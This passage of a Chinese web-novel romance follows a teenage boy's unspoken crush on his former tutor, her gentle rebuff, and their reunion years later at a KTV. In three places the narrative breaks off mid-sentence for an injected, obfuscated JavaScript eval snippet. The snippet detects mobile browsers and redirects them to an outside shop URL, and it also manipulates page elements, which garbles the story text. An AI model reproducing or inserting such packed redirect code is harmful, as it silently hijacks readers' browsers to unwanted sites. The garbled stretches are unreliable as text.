周思诺继续补刀:“这勾引未成年的大帽子扣过去,十个胆子都不够她躲你的。换了我,恨不得离你一个赤道那么远。” 沈曜像是被人定了身,惊讶地一动不动,连眼睛都忘了眨。 想起那个小姐姐,周思诺的脸上居然出现了一丝神往,“她没拉黑你,那都是她够为你着想了,看来是真的很关心你、照顾你的情绪。” “关心我?照顾我的情绪?”沈曜原本灰暗的心,在听到这几个词时,仿佛被一盏灯给点亮了。 “是啊。太仗义了。不愧被你奉为女神,人品好的没话说。”周思诺拍了拍他的肩,话锋一转,“兄弟。不是哥们儿瞧不起你,就你这感情小白,这方面真的比不过我。太迟钝了你!” “你刚才也说了,你扔了别人送给她的花。那不是吃醋是什么?”周思诺点明重点,言辞直白犀利,“你还牵她的手……人家一直让你牵着吗?还是尝试抽回手?” 沈曜难得结巴道:“有、有想挣开,我、我抓得紧……” 周思诺扶额,敲了一下沈曜的额头,“这还不明显吗?你当别人和你一样傻,是个没一点儿感情经历的钢铁大直男?你这些举动,怎么看都是喜欢人家吧。女孩子本来就心细,你都表现的这么明显了,她如果还不知道你的心思,我从此就跟你姓!” 沈曜懵了,牛头不对马嘴的来了一句,“那她……她也喜欢我?” “不可能!”对于好友的清奇脑回路,周思诺实在没忍住,很用力地翻了个大白眼,“你想什么呢你!” 沈曜有点不服气,“不是你说他关心我、顾虑我的情绪吗?” 周思诺无语地用手指扣了扣桌子,“那和喜欢是两码事。只能说明她对待人和事物,心智都很成熟,也很为你着想,怕断的太快你接受不了,影响到你学习。” 听了好友的话,沈曜的心就像坐过山车似的,忽上忽下、忐忑不安。 当天夜里,沈曜躺在床上辗转反侧。弄明白舒瑶已经猜到自己的心思,他就不想再憋着自己和她拐着弯的找机会接近。 他拿起手机打开微信,咬咬牙,一狠心,给舒瑶发了条消息。 [曜:国庆节我来找你。] 34.冥王星(三) 沈曜原本以为要等很久才能得到舒瑶的回复,没想到这次她没隔几分钟就回了自己消息。 [你瑶姐姐:沈曜,我有男朋友了。国庆节要和他出去玩,没空陪你哦。不好意思啦。] 一阵钝痛狠狠敲击心房。沈曜看完消息,心像是被锥子给用力扎了一下,酸楚、疼痛,喉咙里仿佛被塞了东西,苦涩的连呼吸都艰难无比。 (你能不能等等我?) 看见舒瑶消息后,沈曜下意识的在对话框里打下了这行字,却迟迟没有点击发送。 他毫无防备、心如刀割,却又无可奈何。纵使心里有百般千般的抗拒和不甘,却感觉自己无处使力。 他有什么资格让她等自己?不管是年龄还是空间地理上的距离,以目前的他来看,都输的很彻底。他根本不在她的择偶范围之内。 舒瑶已经工作了,而自己还差一个多月才满十七岁。她完全无法接受异地恋,他是知道的,一早就知道。 沈曜心乱如麻,将对话框的那句“你能不能等等我”删去,重新打字。 (我喜欢你。我会去考海城的大学。) 盯着这行字很久,久到他拿着手机的左手发酸发麻,他才在屏幕上一个字、一个字地重重将它们删除了。 看着那些字慢慢消失,就像他的感情被一点点否认殆尽。 沈曜感觉自己如坠冰窖。他知道不能把这句话发过去,否则以后和她连朋友都没得做了。 一旦发出去,那会让他和舒瑶都陷入进退两难的境地。 多么可笑,他连和她表白的资格和机会都没有。 拿断绝联系来冒险,他输不起。自己仿佛一个小矮人,面对年龄和空间这座翻不过去的高山,他束手无措。 原来在“喜欢”面前,人会变得如此胆怯。 少年觉得自己像一头困兽,被囚禁在无形的牢笼里,挣脱不得,连嘶吼都做不到。 沈曜放下手机,侧过身躺着,头一次觉得一颗心被放在火中炙烤煎熬。 窗帘没拉上,他盯着窗外的一轮秋月出神。 月色正浓,银盘似的月亮悬于天际,有种高高在上的美,但洒下的清辉却是凄迷。 -- 手机那头的舒瑶看见沈曜说要国庆节来找自己的时候,心慌了。 这突兀的一条消息,隐隐像是在给她传达什么,将藏在暗处秘而不宣的事挑明摆到她面前。 舒瑶原本以为疏远冷淡对少年有用,毕竟他给自己发消息的次数和频率近来已经大大降低了。 可直到收到刚才那条消息,她才知道自己又大意了。 沈曜是个性格固执的男生,她十分清楚。 迂回策略无效,她一时着急,决定下一副“猛药”。 干脆告诉沈曜自己有男朋友,让他彻底死心吧。这样的暗示已经够明显了。她想他应该能看懂自己的意思。 即便他会难过,过一阵子也会好的。就像当时她和杨衍分手一样。 至少,她还不会把他拉黑。 不捅破那层窗户纸,一切都有缓和的余地,不至于绝交。 时间可以冲淡一切,等少年再长大一些,那些未曾说出口的心事,终究会变成青春手册里一笑而过的美好回忆。 舒瑶心思急转,几分钟后给沈曜回了条“我有男朋友了”的消息。 消息一出去,舒瑶的一颗心就提到了嗓子眼儿。 她此刻才知道自己面对少年的心意,有多紧张、多害怕。两人无仇无怨的,她不希望两人因为这件事变得连朋友都做不了。 她捧着手机,盯着对话框上那行“对方正在输入...”的提示,连眼睛都不敢眨一下。 生怕沈曜发来什么了不得的话,将事情推到无法挽回的地步。 还好,还好等了半个小时,那行“对方正在输入...”终于消失了。 对方再也没发来任何消息。 舒瑶大大的缓了口气,放下手机的那一刻,感觉自己累得像是跑了一千米。 舒瑶掀开被子下床,去客厅给自己倒了杯水。 她没开灯,因为今夜的月光已经足够驱赶黑暗。 有些事情,就像这样朦朦胧胧的过去,才恰到好处。 太过于明亮,会灼伤人的眼睛,更会灼伤人的心。 少年正是花季雨季,多好的年华,不应该在不恰当的感情里磋磨。一时的疼痛总会过去,为前途全力拼搏,才不至于在未来回想时因分了心没尽力而后悔。 就让这段荒唐的暧昧戛然而止吧。 舒瑶靠近阳台,抬头往无边的天际望去。 落地窗外,月色很美,月华洒在浅灰色的瓷砖上,仿若一层淡淡的银霜。等明早太阳升起,这霜就会消弭无踪,不留一点痕迹。 - 接下来的一个多月,沈曜除了在国庆节给舒瑶发过一条问候的消息,其他时候都静悄悄的,再无半点多余的联络。 舒瑶心里放下一桩大心事,总算松了口气。 等到十一月沈曜的生日,为了进一步避嫌,舒瑶没再给他送礼物,只是发了一句简单的“生日快乐”。 即便这样,沈曜也开心了一整天。 周思诺见他恢复了往日的神采,也替他高兴。 两人放学在球场打了一场球,汗津津地一起坐在球场边吹风休息。 周思诺给他递了瓶水,一边闲聊一边等消汗,“最近我看你又精神了啊。怎么?感觉已经淡了?” 沈曜眼神坚定地望着远方,扯了扯嘴角,没说话。 经过一段时间的挣扎,他已经想得很清楚。既然自己现在什么都没有,什么也保证不了,那就干脆好好做好目前该做的事。 她想与他保持距离,那他就保持距离。 只要他足够耐心、足够坚持,等考上了海城的大学,还愁没有接近她的机会吗? 就算她现在有男朋友,那又怎么样?只要她没结婚,他就还有可能。 唯有等待,现在是他唯一能做、并且一定能做好的一件事。 不论是学习还是她,他两个都要争取。从小到大,只要他认定的事情,从没轻易放弃过。 暂时蛰伏、以退为进,是眼前最合适的方法。 就这么消停了小半年,舒瑶那边终于不再对他设防。 到了高二寒假的时候,他去海城看望外公外婆,还约舒瑶陪他去书城买参考书。 买完书,他既不提吃饭、也不约看电影,只是在路边的奶茶店给她买了杯奶茶作答谢。 将那杯她喝惯的原味港式奶茶递到她手中,他就转身走了,走得干脆利落,丝毫不见任何留恋的痕迹。 舒瑶彻底对他放了心。 时光如水,时快时慢,在不经意间流淌而过。 到了沈曜升高三暑假那阵,舒瑶就职的公司迎来了有史以来最大的客户——世纪婚庆服务有限公司,一家在国内有数十家连锁分公司的上市集团。 世纪婚庆将总部从京城迁往海城,为了在海城站稳脚跟、提高知名度,并且一举拿下国庆节期间的众多订单,他们计划在十一期间举办一场婚庆展览。 舒瑶公司的整个市场部都抽调人手,主力服务于世纪婚庆。这单做成,光收益就能顶上他们公司以前一个季度的总收益。 舒瑶所在的小组,负责婚纱款式的选择、确认以及展览期间的主要执行工作。 与她对接的是对方公司旗舰店的店长梁毅博,一个有数年海外高端婚纱定制门店工作经验的海归人士。 梁毅博三十岁,衣冠楚楚、相貌堂堂,怎么看都是个难得的钻石王老五。 舒瑶年轻貌美,对待工作认真负责,处事落落大方,很得梁毅博的欣赏。两人为了筹备婚庆展览,从七月到八月,都不停的在海城的婚纱旗舰店和另外四家主打门店频繁出入。 有时候两人在店里一呆就是一整个下午,连着晚饭都在店里解决。 弄得来约饭接她下班的林娓娓一开始差点误会她要和梁毅博结婚了。 工作告一段落,舒瑶累得够呛,挂在林娓娓身上假装树袋熊。 梁毅博将两位美女送上出租车,才转身又回店里去继续忙。 可怜的林娓娓本来是要约晚饭,结果陪着舒瑶一直忙到晚上九点,直接变成了约宵夜。 “你不是说上星期那位梁先生还请你单独吃饭的吗?”舒瑶近来太忙,连林娓娓见她的次数都少了,趁着现在,林娓娓才找到机会和她聊八卦。 “别提了。这人吧是挺好的,他对我有好感,我也有那个意思。但是上次吃饭的时候,他说他可能后面还想出国多开开眼界。我就息了那个心思了……”舒瑶有气无力地说着,到后面居然睡着了。 怎么又是个候鸟型的人物?舒瑶这两年也是够霉的,遇见合心意的人选,都是在海城呆不住的。 林娓娓心道,这大概就是别人说的“越怕什么越来什么”吧。 难道亲闺蜜这辈子就注定了躲不过异地恋?林娓娓气得想咬人。 看着靠在自己肩膀上累得打瞌睡的舒瑶,林娓娓心疼地替她捋了捋头发,忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545994|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然想起了什么。 “瑶瑶,别睡了瑶瑶。”林娓娓轻轻拍了拍她的脸。 “怎么了?”舒瑶懒懒地挥开好闺蜜的手,她的眼睛干涩酸胀,一点客气的力气都没了。“没到地方别叫我。我眯一会儿。” “我刚才在街边等车的时候,好像看见马路对面有个男生眼熟。” “什么男生?哪里来的男生?叫什么名字?”舒瑶困倦的不行,闭着眼睛能眯一会儿是一会儿。 “看那个身形,有点儿像以前总在寒暑假来找你的那个小帅哥。” 舒瑶困难地皱了一下眉头,她觉得自己的肚子有些疼。 “好像是叫沈曜。”那个少年长得十分惹眼,即便林娓娓只见过他一次,印象仍然深刻。“对!是叫沈曜!刚才隔着条宽大的马路,天色又昏暗,我不太确定是他,但是看那个身形,觉得挺像他。他来海城了吗?” 舒瑶的肚子越来越疼,身上开始冒虚汗,没功夫细想林娓娓的话,“不可能。他没告诉我他这个暑假要来海城。他马上要高三了,升高三是没有暑假的,只有无穷尽的补课。” 林娓娓一想也对。想起自己那段黑暗的日子,禁不住抖了抖。“那可能是我看错了。” 舒瑶有点坚持不住了,皱起整张脸,弓着身体,费力地摇了摇林娓娓的手臂,“娓娓……我不行了。我肚子疼得难受,咱们别去吃饭了,我得去医院。” 林娓娓吓了一跳,低头一瞧她,果然见她满脸是汗,脸色惨白。“呀!你这脸色太苍白了,叫你最近总是不按时吃饭。该不会是得急性阑尾炎了吧?” “师傅,师傅。麻烦改道去最近的医院。”林娓娓的额角淌出细汗,着急忙慌地对司机说道。 司机一听也不敢耽搁,找了个路口紧急转弯调头,送两人去了医院。 林娓娓的嘴应该是被下过咒。 她将舒瑶送进医院一检查,果然是急性阑尾炎。 舒瑶躺在铺着蓝色无纺布的病床上,疼得浑身直哆嗦,侧身蜷缩着,双手捂着腹部,神情痛苦。 林娓娓看她疼,好像自己也跟着疼了,五官都皱到了一起。 “你好好躺着,我打电话叫你爸妈过来。”安顿好舒瑶,出了急诊室,林娓娓摸出手机通知舒瑶的家人。 这家医院离舒瑶的家约莫有二十分钟的车程。索性不算太远,林娓娓跑前跑后地帮她挂号缴费一通忙活。 总算得着空闲去医院的接水房接了杯水喝,生气好闺蜜不懂得珍惜自己的身体,林娓娓边牛饮灌了几口水,边嘟囔道:“幸亏是我亲自送她来的医院,不然我还以为她跑完婚纱店就休婚假呢。这不正好?住院一星期。婚假也是七天。啧啧啧~” 那年夏天对舒瑶来说真是一场乱糟糟的灾难,无休止的加班、不规律的饮食导致身体出了问题,生病、开刀、住院,病号流水线一点儿没落下步骤。 出了医院没敢多休息一天,接着就又去上班。好在老板有点人性,知道她刚做完手术,将她的工作分给了同事一些,不再让她加班了。 即便如此,她仍然伤了元气。舒瑶那段时间瘦了一大圈,养了半年才缓过来。 当她偶然记起沈曜时,已经是他满十八岁的冬季了。 大概是进入高三冲刺阶段,自高二暑假以后,沈曜就和她断了联系。只有春节才偶尔给她发个消息。 舒瑶自顾不暇,等到沈曜高考过了十多天,她才想起问他考得怎么样。 可惜消息发出去就石沉大海。 过了一个月,沈曜才回复她消息。给的回复也十分简短。 [曜:考上填报的志愿学校了。] [你瑶姐姐:恭喜恭喜(撒花.jpg)] 舒瑶还给沈曜发了个红包,可惜沈曜没收。 红包过期被自动退回了舒瑶的账户。沈曜没再给她回过一条消息。 这是他上大学之前,两人发的最后一条消息。 有些事情,一旦过了那个时候,就变味了。即使事后想要拾起,再也不会恢复如初。 见对方如此冷淡,舒瑶无奈地叹息。这种结果,也有自己的责任。没能在他高考前发个消息给他加油,她多少都觉得自己有些薄情了。 当初表弟的事情是这样,这次轮到那个曾与自己极亲近的少年,又是这样……舒瑶在心里对那男生默念了一声对不起。 生命里总会有一些缘分逝去,又会有新的缘分进来。周而复始、循环往复。 舒瑶知道这个规律,她将与少年曾经相处的点滴埋进记忆里,只剩下祝福。 35.重逢(一) 两年半后,海城。 - 初春是个特别适合赖床的季节。 屋外阳光明媚,屋内的舒瑶好不容易睡了个懒觉。等她从梦中悠悠醒来,才发现已经快要中午十一点了。 这一觉她睡得格外沉,梦境也分外真实。 梦里的片段都是曾经一幕幕发生过的往事,导致刚睡醒的她有些分不清自己身处梦境还是现实。 瞌睡虫实力强大,舒瑶躺在暖融融的被窝里,被它蚕食地想睡个回笼觉。 像这种时候,还是闹钟更靠谱。 舒瑶迷迷瞪瞪地再次渐入梦境,却被自己昨晚定得闹钟给叫醒了。 多年的习惯让她即便是半梦半醒也能立马从床上弹坐起来。 十分钟响三次,在第三次关掉闹钟之后,舒瑶认命地下了床。 她一边揉着头打哈气,一边跌跌撞撞地往卫生间走。 人是醒了,可意识多半还留在梦里,舒瑶稀里糊涂地自言自语:“真的太好睡了。我现在是活在几几年来着?沈曜高考结束了?考得哪所大学,我居然忘记问了……” 舒妈妈今早来女儿租的房子里帮她炖乌鸡汤给她进补,已经在厨房里忙活了一阵子了。 见女儿闭着眼睛像在梦游,嘴里还嘀嘀咕咕的,实在看不过眼,喊了她一声,“瑶瑶,你这习惯不好啊。起床了得睁开眼睛,怎么总是闭着眼睛找卫生间?” 舒瑶听见亲妈的声音,闭眼摸进了卫生间,扬声道:“妈。我居然睡了十二个小时。差点睡傻了。” 舒妈妈无奈地回答:“你工作忙,难得睡个懒觉,睡十二个小时也不多。你如果还困,吃完中饭就继续睡。” “不能再睡了。今晚要陪客户应酬,下午还得去一趟公司。”刷完牙洗过脸,舒瑶终于清醒过来。 她走进厨房,一边拿出牛奶和麦片放进微波炉里加热,一边和妈妈聊天,“最近可算是忙完手头的项目了。我睡得差点忘记今夕是何夕。” 舒妈妈往砂锅里加了点料酒,拿汤勺在里面搅了搅,“我刚听你说高考。谁高考了?” 舒瑶打开微波炉的手一顿,“哦。没谁。昨天做梦梦见以前做家教的事了,想起带过的一个小孩儿高考那阵我身体不好,工作又忙,就没问他考进了哪所大学。” 舒妈妈用汤勺舀了一点汤汁,放到嘴边尝味道,“哟。那应该是好几年前的事了吧?” “可不是嘛。”舒瑶歪着头回忆一番,感叹道:“真是光阴如梭,岁月不饶人啊。现在算算时间,距离他高考居然已经过去两年半了。当时没问他考到哪里,我还挺内疚的。毕竟高考可是人生大事。” “那孩子是川城的吧?你们离得远,彼此又忙,当时忘记问也很正常。你到现在还记得,也算是对他的事够上心的了。” 舒瑶拿起牛奶喝了一口,“嗯。当年关系是还不错。那小孩儿家庭当时有些状况,对我也亲近,我就对他多关照了一些。” 舒妈妈提醒道:“你要是真想知道他考到哪所大学,现在问也不晚吧。发个微信问问不就得了。” 舒瑶想起两人当年的暧昧和尴尬,皱了皱鼻子,摇摇头,“不了吧。这世上,人和人之间的关系也是有保质期的。我和他好几年没怎么联系,都生分了。再说那孩子上了大学肯定也变化很大,突然发消息问人家,感觉好突兀。” “也对。关系过了就过了。如果有缘,以后一定会再相遇的。”舒妈妈盛了碗汤出来,端到舒瑶面前,“别想了。来,汤刚熬好,热乎着呢,喝一碗补一补。你最近加班那么多,我可担心你身体了。” 舒瑶亲昵地伸手搓了搓妈妈的胳膊,贴着她的脑袋撒娇,“谢谢妈,大早上跑来给我炖汤,辛苦了。还是你疼我啊。” 舒妈妈笑着摸摸她的头,给她去厨房拿了个汤匙放到碗里,“知道就好。今天聚会完早点回家,到家给我发个消息。” “好嘞~” -- 今年过年早,商家们刚忙完一月的春节大促,又迎来二月的情人节。 在这个网购发达的时代,被打压的生存艰难的实体店就盼望这种很受年轻人喜欢、一定会出来挤热闹消费的节日。 即便忙得快翻了天,那也是金钱所恩赐的快乐。 灯火辉煌的鎏金广场里,晚上七点的凯乐KTV,包厢全被订满。 一间大号包厢里,头顶的星球灯正在浪漫地旋转,将昏暗的空间照得五彩斑斓、迷离惝恍。 舒瑶和几个同事,正与之前委托他们办春节促销活动的客户们一起K歌庆功。 统共十几个人,点了六个水果大拼盘、四盘炸物小吃拼盘、二十瓶果酒和二十瓶啤酒,度数不算高,但多喝总能让人上头微醺。 舒瑶今天穿了一条半职业半休闲风格的卡其色薄呢收腰连衣A字裙,化了个暖杏色的日常通勤妆,大方又优雅。 与舒瑶团队合作的是他们今年刚争取来的新客户。对方的头儿也是个女的,名叫徐琳,英文名Linda,比舒瑶稍长一岁,身材丰满、留着一头女人味十足的大波浪长发,着一身深紫色修身裙,御姐范儿十足。 与舒瑶合作下来,徐琳很欣赏她高效又细致的工作风格,以后还打算继续与她合作。 此时,她和舒瑶一样喝得微醉,让身旁的女助理帮她点了一首老歌《遇见》,唱得正投入。 大概是酒精作祟的关系,舒瑶被这首经典老歌唤起了大学时谈的那场印象深刻的初恋。这首歌她曾给杨衍唱过,算是他们那时的定情曲。 当年的她青春年少,遇见一个长相帅气、气质沉稳又成绩优异的校园男神学长追求自己,舒瑶对他的喜欢可想而知。 他不仅满足了她心中理想型的所有条件,也大大满足了那时候年轻气盛的自己的虚荣心。 不过就算再喜欢,他们还是因为杨衍出国而分手了,闹掰的日子恰好是二月十四号。 当年原本说好要一起过一个温馨甜蜜的情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555976|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人节,结果变成了分手的提前“庆祝”节日。 今晚旧歌重听,日期也撞了,两大痛点碰在一起,直接导致舒瑶的心情就不太美丽。 感情早已淡忘,但是当年那毫无防备的伤害余悸,还是令她的情绪有点受影响。 歌曲已经唱完,舒瑶还陷在那段被现实选择打败的挫折感里。 好像是谁提到过,年轻时不能遇见太优秀的恋人,否则标准被拔高,再想找下家谈恋爱就很难了。 “组长,组长。”身旁的同事张宇哲拉了拉出神的舒瑶的衣袖,“发什么呆呢?你手机在震动,快接一下。” 舒瑶回神,发现大理石茶几上的手机屏幕正亮得显眼。上面显示的来电是林娓娓。 今晚喝的有点多,舒瑶揉了揉发胀的太阳穴。她站起身,对徐琳笑着打了声招呼,“Linda,我出去接个电话。” 徐琳低头发完微信,一抬头见她两颊红彤彤的,对她举了举手机,笑着解释道:“去吧去吧。我喝的也有些醉了,等会儿让我男朋友来接我。” 舒瑶点点头,开门出去找了个走廊角落接电话。 乍一出包厢,走廊里明亮的灯光十分刺眼,舒瑶抬手捂了捂眼睛、皱起眉头,微微摇了摇发晕的脑袋,走到走廊尽头的拐角处接通手机。 “娓娓,怎么啦?”因为酒醉的关系,舒瑶的语尾音有些拖长,带出往日少有的几分娇气。 “哎呦?喝酒啦宝贝?”电话那头的林娓娓正开着免提修磨指甲,“怎么样?你下午发消息给我说今晚不是在外面K歌吗?要不要我去接你?” “嘿嘿嘿……”舒瑶情绪放松下来,打了个小嗝儿,慵懒地斜靠在墙上,“好啊。你也来嘛。我们这边快结束了。地址等会儿我微信发给你。” 两人又闲聊几句就挂断了,发完消息后,舒瑶去上了趟洗手间。 洗手间就在附近,男女的分开两侧在对面。 舒瑶头有点晕,从洗手间里出来,经过拐角时也没怎么看路,迎面和一个身材高挑的男生撞了一下肩膀,舒瑶随口回了句抱歉就离开了。 那男生似乎愣了几秒,见舒瑶已经快要消失在自己的视线,遥遥唤了一声:“喂。你等等。” 舒瑶以为他在叫别人,没在意、也没停留,直接拐进了自己的包厢。 意外如果不是突然而至,那就不叫意外。 舒瑶关门转身的一瞬间,就看见了老熟人。 她的初恋——杨衍,那位曾经的校园男神学长,此时正坐在徐琳身边,黑色长款羊绒大衣还没来得及脱下,显然是刚来不久。 杨衍也很快认出了舒瑶,他怔愣一瞬,朝她微微点头打了个招呼。 将近九年没见,他变得更加沉稳英俊,举手投足都透出一股社会精英的高级气质。 “愣着干嘛啊?以为自己走错包厢了?”瞧见舒瑶迷茫地站在门口,徐琳站起身笑着对她招手,“旁边这位是我男朋友。刚来两分钟还不到。” 36.重逢(二) 为了缓解尴尬,舒瑶扯开嘴角礼貌性地笑了,顺着徐琳的话说:“我说呢。我还以为我自己醉的已经找不到北了,居然连包厢都走错。” 一边说,她一边走到原先的位置坐下,侧头与杨衍道了句“幸会。”,却在心里吐槽了一句“今天这日子真是撞了邪。” 张宇哲见她回来,高兴的给她拧开一瓶苏打水递过去,“组长,别再喝酒了,喝点苏打水吧。正好醒醒酒。” 舒瑶蹙着眉头,接过来漫不经心地喝了两口,低低说了句“谢谢”。 张宇哲就坐她右边,虽然屋内光线不足,但他也能敏感地捕捉到她情绪不佳的信号。 张宇哲的右边坐着他们团队的文案妹子梅悦儿,瞧见他十分关心舒瑶,轻轻拉了拉他的袖子,“ 组长看上去好像真喝醉了?等会儿结束咱俩送她回去?” 张宇哲点点头,对她轻声说:“就算你不说,我也要送她回家的。” 梅悦儿圆圆的脸上,一脸“磕到了”的表情,觑着眼睛盯着他的脸,眼神里写满“我已看透了一切”。 张宇哲不自然地咳嗽一声,瞪她一眼,小声说:“唱你的歌去,少来八卦。”转头却对舒瑶温声道:“组长,等会儿你怎么走?我和悦儿送你回去吧?” 舒瑶摆摆手,拿起苏打水凑到嘴边又喝了两口,“不用。等会儿我闺蜜来接我。我已经把地址发给她了。” 徐琳对舒瑶举了举手中的酒瓶,“你们团队氛围真好。手下的小朋友们颜值也高。下次我们有活动的话,还找你们。” 甲方主动示好,舒瑶当然乐意,顿时心情好了许多,“欢迎欢迎。再好不过。” 情绪来得快、去得也快,作为老职场人,虽然今晚被旧事影响,有些微的心理不适,但能抓住长期客户,这比什么都能让舒瑶振奋。 附加的那点儿不愉快,就当做业务附赠的不受欢迎的小赠品,很快就被舒瑶从心里给扔到天边去了。 “来,悦儿,帮我点一首《笑纳》,我要送给Linda,祝我们今后也合作愉快。”舒瑶放下苏打水,对徐琳展露了一个标准的营业笑容。 张宇哲立刻举手,“组长,我和你合唱吧。” 几首旋律明快的歌曲过去,今晚的局也接近尾声。包厢的KTV点唱机停止了点歌功能,众人开始收拾东西、穿回外套。 “嗨~Everybody~”林娓娓摘了墨镜推门进来,她是自来熟的社牛体质,以前舒瑶的组私下组织聚会时,她就参加过好几次,舒瑶的同事们都认识她。 “哎?娓娓姐来了。”梅悦儿超喜欢林娓娓,见她进来,第一个冲上去打招呼。之前她找林娓娓批八字,说得特别准,梅悦儿当即就成了她的小迷妹。 林娓娓和她拥抱了一下,“真乖。” 徐琳朝她看过去,见是个打扮明艳的微胖女生,及肩的中长发染成金棕色、还做了梨花烫,身高和舒瑶差不多,笑起来极有亲和力。 林娓娓的视线从杨衍脸上飞速掠过,假装没认出他,对徐琳那边的几人挥了挥手,“金主爸爸们好,我是林娓娓,来接我亲闺蜜。” 徐琳被她毫不修饰的用词给取悦了,噗嗤一笑,“你好,你真直接,我喜欢。” 林娓娓又对他们寒暄几句,凑到舒瑶身边,兴奋难掩地轻轻摇晃她的手,对她说:“谢谢姐妹叫我今儿来接你。” 舒瑶侧过脸瞅她,满脸问号,顺手递给她一瓶蜜桃口味的苏打水。 “你知道吗?!我刚才来你们包厢时,走廊里有个年轻的野马正拿着手机斜靠在墙边打游戏,帅得我眼睛都快睁不开了。”林娓娓想起刚才看见的帅哥,两眼直发光。 “年轻的野马?你这是什么奇奇怪怪的形容词?”舒瑶已经见惯了她这种颜狗见到帅哥美女时的姿态,一边系围巾一边嘲笑她,“谁叫你大晚上还戴墨镜装酷?是摘了墨镜被灯光闪得睁不开眼吧。啧。快擦擦你的口水。” “哎呀!”林娓娓按捺不住激动地挽起她的胳膊,和她咬耳朵,“就是帅得肆意张扬,一眼看上去就是个超级大写的帅。毫不委婉的那种!” 舒瑶白了她一眼,“你每次都说这类话,腻不腻啊?” “这次真的没夸张!”林娓娓表情无比认真,一双原本不算大的凤眼都瞪圆了,“浓颜系小狼狗。衣品好,头发也做了造型哎!低头往那儿斜斜一靠,气场两米八。酷得不要不要的。我这一个月的眼部保养都可以省了。” 舒瑶穿戴好外套,一边挽着林娓娓一边招呼众人离开包厢,“好好好。信你信你。我们走吧?” “年轻的野马、小狼狗”等字眼儿已经让舒瑶对林娓娓说的那位帅哥有了初步认知,应该是个帅弟弟。 舒瑶对弟弟辈的提不起一点儿兴趣。从小家里那几个弟弟,凑在一起能掀翻一头大象。家族里的小辈就她一个女的,其他一水儿的都是“和尚”。 “听你这语气,是个小男生啊?喜欢你就多看几眼好了。我不和你抢。”舒瑶帮林娓娓整理了一下围巾。 林娓娓装腔作势的和她闹:“别了,看看还行。老娘我早已超脱红尘、一心只图修行了。” 梅悦儿捂嘴笑,“嘿嘿嘿。组长和娓娓姐在一起真好磕。组长你这语气可真宠啊。” 张宇哲轻轻嘲了句得谁磕谁的“花痴”同事,眼睛含笑地扫了眼她俩。 林娓娓注意到张宇哲的视线,对他笑道:“啊眼前这个也不差,斯斯文文的小暖男一枚。” 张宇哲腼腆地挠挠头,“娓娓姐好。” 舒瑶和徐琳的团队都很年轻,两边最大的两个也就三十左右。经过今晚的K歌,大家越发熟络,开着玩笑边走边聊,嘻嘻哈哈的笑闹声引得路过的服务人员和其他客人频频侧目。 接近大厅时,一行十几个人仿佛看到什么,突然同步噤声,安静下来。 只见穿着纯黑夹克内搭纯白打底衫的一个高大男生站在他们前方的几米处,两手插 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张宇哲撸起袖子,也往前站了两步,站到杨衍身旁,打算有突发情况就第一时间和杨衍挡过去。 男生无视其他人,只将视线坚定地落在其中一人的脸上,半是揶揄半是认真地问道:“舒瑶。不认识我了?” 舒瑶忽然觉得这声音极是耳熟,似乎不久之前在哪里听到过。再仔细瞧那男生的五官,发现有种陌生又违和的熟悉感,仿佛阔别已久,又好像昨日才见。 七年之间那些关于这个男孩儿零散又不曾被遗忘的记忆慢慢回笼,仿若断线的珍珠般被一根无形的丝线串起。 曾经青涩俊美的脸庞与此刻已棱角分明的脸在脑海中重叠。 舒瑶眉间一点点地舒展开,心底倏地有几丝松动,眼神慢慢亮了。 虽然男生的身高和体形随着成长褪去了青涩,穿着打扮和气质变化更是巨大,但舒瑶还是认出了他。 “你是……沈曜?” 37.误会(一) “你怎么在这儿?”舒瑶下意识就问出了口。 沈曜眉眼放松下来,勾起嘴角,“等你啊。” “等我?”这几年之间,只有重要节假日会发个象征性的问候消息的人,忽然出现在眼前,还说等自己?舒瑶有些懵。 “我刚才在走廊上遇见你了,叫了你一声,你没理我。”酷酷的大男生语气缓和,听这话的意思还有点傲娇的小埋怨,周围原本紧张的气场因为他的话松动了不少。 大家很默契的没出声,但都不禁松了口气。 原来是熟人啊。不是来寻衅滋事的。终于可以安心了。 “呃……你有叫我吗?”舒瑶今晚有点喝醉了,想不起有这回事。 “是啊。”沈曜点点头,脑袋朝大厅电梯那边微微一偏,对舒瑶示意道:“给个面子,叙叙旧?” 舒瑶站在原地没动。她回想起这男生说话做事向来直接率真,这么多年依然没变。 这是要单独约舒瑶离开的节奏?众人的眼睛不由在两人身上转了一圈,又共同看向特意来接她的林娓娓。 林娓娓却像早想明白什么似的,一脸“果然如此、我就知道”地瞧着这匹横空出世“拦截”闺蜜的黑马。 沈曜对林娓娓挥了一下手,“可以吧?娓娓姐?” “娓娓姐”这词一出口,众人都明白了,这大帅哥不仅认识舒瑶,连她的闺蜜他也认识。 梅悦儿一把拉住林娓娓的衣袖,惊讶又感叹的对她说:“我的老天爷!娓娓姐,你和组长隐藏的很深啊!认识这么大一只极品帅哥,怎么不早点叫过来一起玩?” 